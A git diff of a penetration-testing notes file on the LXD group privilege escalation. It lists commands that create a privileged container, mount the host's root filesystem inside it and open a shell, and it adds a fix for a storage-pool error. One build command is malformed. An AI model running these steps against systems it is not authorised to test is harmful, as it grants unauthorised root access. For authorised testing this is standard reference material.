added a description for no storage pool found

Exploits/Containers/LXC.md

@@ -1,4 +1,4 @@
-# LXC 
+# LXC
 
 ## Privilege Escalation
 
@@ -8,17 +8,23 @@
 * User has to be in `lxd` group, not necessarily `sudo`.
 
 #### Usage
-* Clone and build 
+
+* Clone and build
+
 ```sh
 git clone https://github.com/saghul/lxd-alpine-builder.git
 cd lxd-alpine-builde && sudo && ./build alpine
 ```
+
 * Upload to target
 * Import alpine image
+
 ```sh
 lxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage
 ```
+
 * Prepare image
+
 ```sh
 lxc image list
 lxc init myimage ignite -c security.privileged=true
@@ -26,7 +32,20 @@ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=tru
 lxc start ignite
 lxc exec ignite /bin/sh
 ```
+
 * Host `/` is mounted at `/mnt/root` inside the container
 * `root` directory is at `/mnt/root/root`
 
+## Errors
 
+If you see errors like this
+
+```sh
+Error: No storage pool found. Please create a new storage pool
+```
+
+Remember to initialize the lxd via
+
+```sh
+lxd init
+```